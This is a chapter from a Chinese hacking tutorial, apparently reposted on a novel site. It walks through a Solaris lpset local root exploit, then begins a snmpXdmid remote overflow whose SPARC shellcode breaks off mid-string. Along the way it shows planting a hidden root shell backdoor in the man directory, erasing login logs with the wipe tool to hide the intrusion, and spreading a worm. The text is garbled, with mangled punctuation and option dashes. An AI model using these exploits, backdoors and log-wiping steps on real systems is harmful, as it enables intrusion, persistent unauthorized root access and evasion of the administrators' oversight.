《30天打造专业红客》第28章


*b=0;
execle(〃/usr/bin/lpset〃;〃lsd〃;〃…n〃;〃xfn〃;〃…a〃;buffer;〃printer〃;0;0);

/* 。hack。co。za '4 August 2000'*/
^D (“^D” = Ctrl+D ,目的是结束。)
cd /tmp 
lpset。c放在/tmp目录了。
ls 
lpset。c
建立了。
gcc …o lpset lpset。c
编译程序。
小技巧:Solaris默认是没有gcc的。我们可以用命令“whereis …b gcc”查找。因为管理员通常会在“/usr/local/bin”留下一个gcc的。
命令:chmod 777 lpset
设置程序“lpset”的属性为所有组所有用户都能访问。
chmod 777 lpset
命令:。/lpset
执行程序。
。/lpset
copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd…pl。/
/usr/bin/lpset for solaris 2。6 2。7 sparc
sh: syntax error at line 1: ‘(" unexpected
#
命令:id
查看自己的所属的组别。
#id
uid=1035(delex) gid=20(staff) euid=0(root)
“euid=0(root)”取得root权限了。
做个后门:
# mkdir /usr/man/man5/shell
在man文件夹里新建一个文件夹,没那么容易给别人发现。(每台主机的情况都不同。)
# cp /bin/ksh /usr/man/man5/shell
# chmod 777 /usr/man/man5/shell
一个简单的后门就做好了。 
以后,我们可以用oracle登陆,然后“。/usr/man/man5/shell”取得root权限。
用wipe…1。00清除日志。
先把wipe…1。00。tgz上传到主机。
通常ftp的密码与tel的密码一样。
# gzip …d wipe…1。00。tgz
# tar …xf wipe…1。00。tar
# cd wipe…1。00
# make
Wipe v0。01 !
Usage: "make " where System types are:
linux freebsd sunos4 solaris2 ultrix
aix irix digital bsdi bsd hpux
#
其中:
linux freebsd sunos4 solaris2 ultrix
aix irix digital bsdi bsd hpux
为“选择系统”。
我们这里用“solaris2”。
#make solaris2
gcc …O3 …DHAVE_LASTLOG_H …DHAVE_UTMPX …o wipe wipe。c
成功了。
#。/wipe
USAGE: wipe ' u|w|l|a ' 。。。options。。。
UTMP editing:
Erase all usernames:wipe u 'username'
Erase one username on tty:wipe u 'username' 'tty'
WTMP editing:
Erase last entry for user :wipe w 'username'
Erase last entry on tty:wipe w 'username' 'tty'
LASTLOG editing:
Blank lastlog for user :wipe l 'username'
Alter lastlog entry :wipe l 'username' 'tty' 'time' 'host'
Where 'time' is in the format 'YYMMddhhmm'
ACCT editing:
Erase acct entries on tty :wipe a 'username' 'tty'
说明:
u 选项为 utmp utmpx 日志清除。
w 选项为 wtmp wtmpx 日志清除。
l 选项为 lastlog 日志清除。
a 选项为 pacct 日志清除。
方法:。/wipe u oracle;。/wipe w oracle;。/wipe l oracle
#。/wipe u oracle;。/wipe w oracle;。/wipe l oracle
Patching /var/adm/utmp 。。。。 Done。
Patching /var/adm/utmpx 。。。。 Done。
Patching /var/adm/wtmp 。。。。 Done。
Patching /var/adm/wtmpx 。。。。 Done。
Patching /var/adm/lastlog 。。。。 Done。
其中oracle为刚才登陆的用户名。
小技巧:我们可以用 。/wipe u oracle 隐藏自己。
运行:。/wipe u oracle 前
# w
下午 20:15 1 user; 平均负荷: 0。00; 0。00; 0。01
用户名 终端号 登入时间 闲置 JCPU PCPU 执行命令
oracle pts/1 下午 20:00 3 w
运行:。/wipe u oracle 后
# w
下午 20:15 1 user; 平均负荷: 0。00; 0。00; 0。01
用户名 终端号 登入时间 闲置 JCPU PCPU 执行命令
最后,我们可以放个worm寻找更多机子。
当然,我们的目的不是为了入侵。帮主机打上补丁是最好的主意。
解决方法:chmod …s /usr/bin/lpset
『第26天』Sunos(二)
接着昨天的,今天,我们来看看Sunos的远程溢出。
本次范例需要的系统及程序情况如下:
操作系统:Window2000 To Sunos 5。8
对方操作系统:Sunos 5。8
程序(一):snmpxdmid。c 
本机IP:127。0。0。1
测试IP:127。0。0。29
新程序说明:“snmpxdmid。c”是利用Rpc的snmpxdmid服务写的exploit。
Solaris snmpXdmid 远程缓冲区溢出漏洞:
Solaris 2。6/7/8三个版本都携带了一个名为snmpXdmid的RPC服务,这个服务主要用
于在SNMP管理请求和DMI请求之间建立一种映射/转换关系。
在 UXIX 中,Desktop Management Interface (DMI) 和 SNMP 是两个协调工作的远程管理协议。Sun Microsystems 创建了SNMPxDMID(/usr/lib/dmi/snmpXdmid)映射守护进程来连接这两个协议。此守护进程传输 SNMP 请求给 DMI,但是发现它在处理‘INDICATION’时存在缓冲区溢出问题。本地和远程攻击者利用此漏洞能获得超级用户特权。
测试开始:
tel ***。***。***。***
* tel上我的肉鸡。
SunOS 5。8 
login: cnhack
Password:
Last login: Sun Jul 29 19:37:19 from 127。0。0。1
Sun Microsystems Inc。 SunOS 5。8 Generic February 2000
。/usr/man/man5/shell
#
* 取得root权限。
# cat 》 snmpxdmid。c
* 把exploit贴到主机上。
/*## copyright LAST STAGE OF DELIRIUM mar 2001 poland *://lsd…pl。/ #*/
/*## snmpXdmid #*/
/* as the final jump to the assembly code is made to the heap area; this code */
/* also works against machines with non…exec stack protection turned on */
/* due to large data transfers of about 128KB; the code may need some time to */
/* proceed; so be patient */
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define SNMPXDMID_PROG 100249
#define SNMPXDMID_VERS 0x1
#define SNMPXDMID_ADDPONENT 0x101
char findsckcode''=
〃x20xbfxffxff〃 /* bn;a */
〃x20xbfxffxff〃 /* bn;a */
〃x7fxffxffxff〃 /* call */
〃x33x02x12x34〃
〃xa0x10x20xff〃 /* mov 0xff;%l0 */
〃xa2x10x20x54〃 /* mov 0x54;%l1 */
〃xa4x03xffxd0〃 /* add %o7;…48;%l2 */
〃xaax03xe0x28〃 /* add %o7;40;%l5 */
〃x81xc5x60x08〃 /* jmp %l5+8 */
〃xc0x2bxe0x04〃 /* stb %g0;'%o7+4' */
〃xe6x03xffxd0〃 /* ld '%o7…48';%l3 */
〃xe8x03xe0x04〃 /* ld '%o7+4';%l4 */
〃xa8xa4xc0x14〃 /* subcc %l3;%l4;%l4 */
〃x02xbfxffxfb〃 /* bz */
〃xaax03xe0x5c〃 /* add %o7;92;%l5 */
〃xe2x23xffxc4〃 /* st %l1;'%o7…60' */
〃xe2x23xffxc8〃 /* st %l1;'%o7…56' */
〃xe4x23xffxcc〃 /* st %l2;'%o7…52' */
〃x90x04x20x01〃 /* add %l0;1;%o0 */
〃xa7x2cx60x08〃 /* sll %l1;8;%l3 */
〃x92x14xe0x91〃 /* or %l3;0x91;%o1 */
〃x94x03xffxc4〃 /* add %o7;…60;%o2 */
〃x82x10x20x36〃 /* mov 0x36;%g1 */
〃x91xd0x20x08〃 /* ta 8 */
〃x1axbfxffxf1〃 /* bcc */
〃xa0xa4x20x01〃 /* deccc %l0 */
〃x12xbfxffxf5〃 /* bne */
〃xa6x10x20x03〃 /* mov 0x03;%l3 */
〃x90x04x20x02〃 /* add %l0;2;%o0 */
〃x92x10x20x09〃 /* mov 0x09;%o1 */
〃x94x04xffxff〃 /* add %l3;…1;%o2 */
〃x82x10x20x3e〃 /* mov 0x3e;%g1 */
〃xa6x84xffxff〃 /* addcc %l3;…1;%l3 */
〃x12xbfxffxfb〃 /* bne */
〃x91xd0x20x08〃 /* ta 8 */

char shellcode''=
〃x20x
小说推荐
返回首页返回目录